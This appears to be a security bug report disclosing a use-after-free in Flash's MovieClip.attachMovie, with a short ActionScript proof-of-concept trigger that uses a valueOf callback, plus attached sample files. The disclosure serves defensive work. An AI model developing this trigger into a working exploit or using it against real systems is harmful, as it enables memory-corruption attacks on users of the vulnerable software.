There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.

A minimal PoC is as follows:

n ={valueOf : func};

function func(){
	
	_global.mc.removeMovieClip();
        // fix heap here;
  	
   }
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

attachMovie.fla 7.7 KB Download

attachMovie.swf 1.2 KB Download